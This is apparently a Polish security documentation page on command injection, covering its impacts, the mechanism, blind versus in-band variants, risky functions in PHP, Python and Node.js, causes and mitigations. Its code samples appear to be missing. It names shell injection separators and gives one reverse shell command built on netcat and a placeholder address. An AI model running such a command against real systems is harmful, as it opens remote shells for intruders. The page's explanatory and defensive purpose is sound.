Command Injection¶
Command Injection to podatność umożliwiająca atakującemu wpływanie na polecenia wykonywane przez system operacyjny. W zależności od miejsca wstrzyknięcia i zastosowanych ograniczeń może prowadzić do wykonania dodatkowych poleceń z uprawnieniami procesu aplikacji. Podatność występuje najczęściej, gdy dane kontrolowane przez atakującego są włączane do ciągu polecenia przekazywanego do powłoki systemowej. W powłokach uniksowych podatność może zostać wykorzystana m.in. przez wstrzyknięcie separatorów i konstrukcji takich jak ;, |, &&, ||, backtick, $(...) lub znak nowej linii. Składnia i znaczenie znaków specjalnych zależą od używanej powłoki i systemu operacyjnego.
Skutki udanego ataku¶
Udany atak Command Injection może prowadzić do:
- wykonania poleceń systemowych z uprawnieniami procesu aplikacji,
- odczytu, modyfikacji lub usunięcia plików dostępnych dla procesu,
- ujawnienia plików konfiguracyjnych, kluczy i danych uwierzytelniających,
- przejęcia kontroli nad aplikacją lub hostem, jeżeli pozwalają na to uprawnienia procesu,
- ustanowienia trwałego dostępu, np. przez web shell lub dodanie klucza SSH,
- wykorzystania przejętego hosta do uzyskiwania dostępu do kolejnych systemów w sieci wewnętrznej (technika ta nazywana jest pivotingiem),
- eksfiltracji danych lub zakłócenia działania środowiska.
Mechanizm działania¶
Podatność powstaje, gdy aplikacja wywołuje polecenie systemowe, wplatając w nie dane użytkownika. Przykład podatnego kodu w Pythonie:
Normalne żądanie:
powoduje wykonanie polecenia:
Atakujący może jednak przekazać odpowiednio przygotowaną wartość parametru file. Przykładowe żądanie, w którym znaki specjalne zostały zakodowane:
Po zdekodowaniu parametr file ma wartość:
Aplikacja tworzy z niej następujący ciąg polecenia:
Powłoka interpretuje średniki jako separatory poleceń, a znak # jako początek komentarza. W efekcie wykonuje:
Polecenie id jest wykonywane z uprawnieniami procesu aplikacji. Jego wynik, np. uid=33(www-data) gid=33(www-data), w zależności od konfiguracji może trafić do konsoli, logów procesu lub zostać odrzucony. W przedstawionym kodzie os.system() nie umieszcza tego wyniku automatycznie w odpowiedzi HTTP. Mamy tu do czynienia z tzw. blind command injection - atakujący nie widzi wyniku polecenia bezpośrednio w odpowiedzi, mimo że polecenie faktycznie się wykonuje.
W zależności od tego, czy wynik polecenia trafia do odpowiedzi, rozróżnia się:
- in-band - wynik polecenia jest bezpośrednio widoczny w odpowiedzi HTTP, co pozwala na natychmiastową weryfikację podatności,
- blind - wynik nie jest zwracany, a podatność trzeba wykazać innymi technikami.
Nawet jeśli rezultat polecenia id z przykładu nie jest zwracany, blind command injection wciąż umożliwia pełną, interaktywną kontrolę nad hostem. Atakujący może podstawić polecenie nawiązujące połączenie zwrotne, np. nc <adres_IP> 4444 -e /bin/bash, które połączy się do wskazanego adresu i portu, udostępniając powłokę Bash i umożliwiając interaktywne wykonywanie dowolnych poleceń z uprawnieniami procesu aplikacji (tzw. reverse shell).
Niebezpieczne sposoby wywoływania poleceń systemowych:
- Dla PHP:
system(),exec(),shell_exec(),passthru(),popen(),`backticki`- jeżeli ciag polecenia zawiera niezaufane dane, - Dla Python:
os.system(),os.popen(),subprocess.*zshell=True- jeżeli ciąg polecenia zawiera niezaufane dane, - Dla Node.js:
child_process.exec(),child_process.execSync()(z konkatenacją) - jeżeli polecenie jest budowane z danych pochodzących z niezaufanego źródła.
Charakterystyka¶
Command Injection najczęściej wynika z:
- przekazywania do powłoki systemowej ciągu polecenia zawierającego niezaufane dane,
- używania funkcji przyjmujących ciąg znaków przekazywany do shell,
- braku ścisłego ograniczenia wartości, które mogą zostać użyte jako nazwa programu lub jego argumenty,
- konstruowania ciągu polecenia przez łączenie danych użytkownika z nazwami programów, ścieżkami lub argumentami,
- polegania wyłącznie na liście zabronionych znaków, która może nie uwzględniać wszystkich konstrukcji obsługiwanych przez daną powłokę.
Podatność często występuje w funkcjach administracyjnych, narzędziach diagnostycznych, konwerterach plików, panelach zarządzania, mechanizmach ping/traceroute oraz wszędzie tam, gdzie aplikacja integruje się z zewnętrznymi programami CLI.
Rekomendacje¶
Aby ograniczyć ryzyko Command Injection, należy:
- unikać wywoływania poleceń systemowych, gdy istnieje alternatywa w postaci biblioteki danego języka (np.
os.renamelubos.replacezamiastmv, biblioteka do przetwarzania obrazów zamiastconvert, klient DNS/HTTP zamiastcurl), - uruchamiać programy bez udziału powłoki systemowej i przekazywać nazwę programu oraz poszczególne argumenty jako oddzielne elementy, zamiast budować jedno polecenie przez łączenie ciągów znaków,
- stosować listę dozwolonych wartości wejściowych, najlepiej opartą na zamkniętym zbiorze znanych nazw lub identyfikatorów. Walidację opartą wyłącznie na dozwolonych znakach należy dostosować do konkretnego przypadku użycia,
- normalizować i walidować dane przed przekazaniem ich jako argumentów programu. Mechanizmy te należy traktować jako dodatkową warstwę ochrony, a nie zamiennik bezpośredniego uruchamiania programu bez udziału powłoki,
- stosować zasadę najmniejszych uprawnień dla procesu aplikacji, wykorzystując odrębne konto systemowe i ograniczając dostęp do sekretów, plików oraz katalogów niewymaganych do działania aplikacji,
- nie ufać danym z nagłówków, plików cookie czy parametrów, które rzekomo „pochodzą z aplikacji" - są one kontrolowane przez klienta,
- rejestrować i monitorować wywołania poleceń systemowych, usuwając z logów (lub je maskować): hasła, tokeny, klucze i inne dane wrażliwe. Monitorowanie stanowi mechanizm wykrywania nadużyć i nie zastępuje bezpiecznego sposobu uruchamiania procesów.